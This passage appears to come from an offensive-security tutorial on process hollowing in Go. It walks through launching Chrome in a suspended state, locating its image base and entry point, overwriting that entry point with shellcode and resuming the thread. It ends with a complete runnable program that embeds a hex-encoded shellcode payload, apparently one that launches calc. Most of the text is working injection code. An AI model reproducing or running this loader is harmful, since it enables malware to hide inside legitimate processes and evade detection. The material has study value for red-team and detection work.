is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code.
The Windows APIs required to perform this technique are the following:
Create suspended process
Starting a process can be achieved by calling the CreateProcess API.
Copy BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
The most important parameter is the dwCreationFlags should be set to CREATE_SUSPENDED (0x04)
Copy var startupInfo windows.StartupInfo
var outProcInfo windows.ProcessInformation
path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe"
err := windows.CreateProcess(nil,
windows.StringToUTF16Ptr(path),
nil,
nil,
false,
windows.CREATE_SUSPENDED,
nil,
nil,
&startupInfo,
&outProcInfo)
if err != nil {
log.Fatalf("[FATAL] Failed to Create Process: %v", err)
}
fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId)
fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread)
Identify Image Base address
To get the base address of the image we need to perform the following:
Call NtQueryInformationProcess -> This will return the ProcessInfromation Struct. This struct includes the PEB Address
The base address is stored at offset PEB address + 0x10
We then read the contents of the address at memory PEB+0x10 using ReadProcessMemory.
Let's break that down
Calling NTQueryInfromationProcess
Copy __kernel_entry NTSTATUS NtQueryInformationProcess(
[in] HANDLE ProcessHandle,
[in] PROCESSINFOCLASS ProcessInformationClass,
[out] PVOID ProcessInformation,
[in] ULONG ProcessInformationLength,
[out, optional] PULONG ReturnLength
);
ProcessHandle: This can be obtained from the ProcessInformation returned from the CreateProcess API
ProcessInformationClass: We will set that to ProcessBasicInformation (0x00)
ProcessInfromation: A pointer to the PROCESS_BASIC_INFORMATION structure
ProcessInformationLength: Length of the sturcture
ReturnLength: A pointer to a variable in which the function returns the size of the requested information
The windows package definition of PROCESS_BASIC_STRUCTURE didn't work well in this case so we go ahead and define our own struct.
Copy type PROCESS_BASIC_INFORMATION struct {
Reserved1 uintptr
PebAddress uintptr
Reserved2 uintptr
Reserved3 uintptr
UniquePid uintptr
MoreReserved uintptr
}
Copy var ProcessInformation PROCESS_BASIC_INFORMATION
ProcessInformationLength := uint32(unsafe.Sizeof(uintptr(0)))
var ReturnLength uint32
err = windows.NtQueryInformationProcess(outProcInfo.Process, 0, unsafe.Pointer(&ProcessInformation), ProcessInformationLength*6, &ReturnLength)
if err != nil {
log.Fatalf("[FATAL] Failed to Query Information Process: %v", err)
}
imageBaseAddress := uint64(ProcessInformation.PebAddress + 0x10)
fmt.Printf("[+] Image base address: 0x%x\n", imageBaseAddress)
We now have the address containing the image base address. Since we cannot read it directly we need to use ReadProcessMemory winapi. This API allows us to read the memory of a remote process.
Copy BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
);
hProcess: This can be obtained from the ProcessInformation returned from the CreateProcess API
lpBaseAddress: Target address, we will use the imageBaseAddress from the previous step.
lpBuffer: We will define a byte slice for the to store the bytes of the remote memory
nSize: Here we will read 8-bytes in the case of a 64-bit process. size(uintptr)
lpNumberOfBytesRead: Returns the size of bytes read in a variable
Copy lpBuffer := make([]byte, unsafe.Sizeof(uintptr(0)))
var lpNumberOfBytesRead uintptr
err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(imageBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead)
if err != nil {
log.Fatalf("[FATAL] Failed to ReadProcessMemory -- imageBaseAddress: %v", err)
}
fmt.Printf("[+] Number of bytes read: %d\n", lpNumberOfBytesRead)
lpBaseAddress := binary.LittleEndian.Uint64(lpBuffer)
fmt.Printf("[+] Image base: 0x%x\n", lpBaseAddress)
A quick look in process hacker shows that the base address of the target Process is indeed the one returned by our code.
Identify the Entry Point
From the offset found at 0x3c we then calculate the size of the different components of PE.
Offset of AddressOfEntryPoint from the PE-Header address = 4 + 20 + 16 = 40 decimal (0x28)
Let's break that down with some code:
Find PE Signature Address
Let's read the contents of the headers from memory using ReadProcessMemory.
Copy lpBuffer = make([]byte, 0x200)
err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(lpBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead)
if err != nil {
log.Fatalf("[FATAL] Failed to ReadProcessMemory -- lpBaseAddress: %v", err)
}
lfaNewPos := lpBuffer[0x3c : 0x3c+0x4]
lfanew := binary.LittleEndian.Uint32(lfaNewPos)
fmt.Printf("[+] PE Signature Offset: 0x%x\n", lfanew)
Having a look at PE-Bear we can confirm that the PE Signature Offset is 0x78 is correct.
We now add the 0x28 offset to 0x78 to get the entry point of the executable
Copy entrypointOffset := lfanew + 0x28
entrypointOffsetPos := lpBuffer[entrypointOffset : entrypointOffset+0x4]
entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
fmt.Printf("[+] Entry Point Offset: 0x%x\n", entrypointRVA)
entrypointAddress := lpBaseAddress + uint64(entrypointRVA)
fmt.Printf("[+] Entry Point Address Identified 0x%x\n", entrypointAddress)
Once again we confirm with PE-Bear
Overwrite code with our shellcode
Similar to process injection we now use WriteProcessMemory winapi to write our shellcode to the target region. The benefit is that we don't have to create a new thread but we just overwrite the contents in memory and resume the suspended thread.
WriteProcessMemory winapi will be used to write shellcode to the remote memory
Copy BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
hProcess: This can be obtained from the ProcessInformation returned from the CreateProcess API
lpBaseAddress: entrypointAddress identified in the previous step
lpBuffer: A pointer to the beginning of our shellcode byte array
nSize: Size of our shellcode
lpNumberOfBytesWritten: Ouputs the number of bytes written to the destination address
Copy var numberOfBytesWritten uintptr
err = windows.WriteProcessMemory(outProcInfo.Process,
uintptr(entrypointAddress),
&sc[0],
uintptr(len(sc)),
&numberOfBytesWritten)
if err != nil {
log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err)
}
fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc))
Resume Execution
To resume execution we only have to resume the suspended thread. The ResumeThread API will be used to achive that.
Copy DWORD ResumeThread(
[in] HANDLE hThread
);
We simply pass the handle returned by the CreateProcess API.
Copy _, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread))
if err != nil {
log.Fatalf("[FATAL] Can't resume thread. %v\n", err)
}
Complete Code
Copy package main
import (
"encoding/binary"
"encoding/hex"
"fmt"
"log"
"unsafe"
"golang.org/x/sys/windows"
)
type PROCESS_BASIC_INFORMATION struct {
Reserved1 uintptr
PebAddress uintptr
Reserved2 uintptr
Reserved3 uintptr
UniquePid uintptr
MoreReserved uintptr
}
func main() {
sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")
var startupInfo windows.StartupInfo
var outProcInfo windows.ProcessInformation
path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe"
err := windows.CreateProcess(nil,
windows.StringToUTF16Ptr(path),
nil,
nil,
false,
windows.CREATE_SUSPENDED,
nil,
nil,
&startupInfo,
&outProcInfo)
if err != nil {
log.Fatalf("[FATAL] Failed to Create Process: %v", err)
}
fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId)
fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread)
var ProcessInformation PROCESS_BASIC_INFORMATION
ProcessInformationLength := uint32(unsafe.Sizeof(uintptr(0)))
var ReturnLength uint32
err = windows.NtQueryInformationProcess(outProcInfo.Process, 0, unsafe.Pointer(&ProcessInformation), ProcessInformationLength*6, &ReturnLength)
if err != nil {
log.Fatalf("[FATAL] Failed to Query Information Process: %v", err)
}
imageBaseAddress := uint64(ProcessInformation.PebAddress + 0x10)
fmt.Printf("[+] Address Holding image base address: 0x%x\n", imageBaseAddress)
lpBuffer := make([]byte, unsafe.Sizeof(uintptr(0)))
var lpNumberOfBytesRead uintptr
err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(imageBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead)
if err != nil {
log.Fatalf("[FATAL] Failed to ReadProcessMemory -- imageBaseAddress: %v", err)
}
fmt.Printf("[+] Number of bytes read: %d\n", lpNumberOfBytesRead)
lpBaseAddress := binary.LittleEndian.Uint64(lpBuffer)
fmt.Printf("[+] Image base: 0x%x\n", lpBaseAddress)
lpBuffer = make([]byte, 0x200)
err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(lpBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead)
if err != nil {
log.Fatalf("[FATAL] Failed to ReadProcessMemory -- lpBaseAddress: %v", err)
}
lfaNewPos := lpBuffer[0x3c : 0x3c+0x4]
lfanew := binary.LittleEndian.Uint32(lfaNewPos)
fmt.Printf("[+] PE Signature Offset: 0x%x\n", lfanew)
entrypointOffset := lfanew + 0x28
entrypointOffsetPos := lpBuffer[entrypointOffset : entrypointOffset+0x4]
entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
fmt.Printf("[+] Entry Point Offset: 0x%x\n", entrypointRVA)
entrypointAddress := lpBaseAddress + uint64(entrypointRVA)
fmt.Printf("[+] Entry Point Address Identified 0x%x\n", entrypointAddress)
var numberOfBytesWritten uintptr
err = windows.WriteProcessMemory(outProcInfo.Process, uintptr(entrypointAddress), &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
if err != nil {
log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err)
}
fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc))
_, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread))
if err != nil {
log.Fatalf("[FATAL] Can't resume thread. %v\n", err)
}
fmt.Println("[+] Resuming Suspended Thread")
}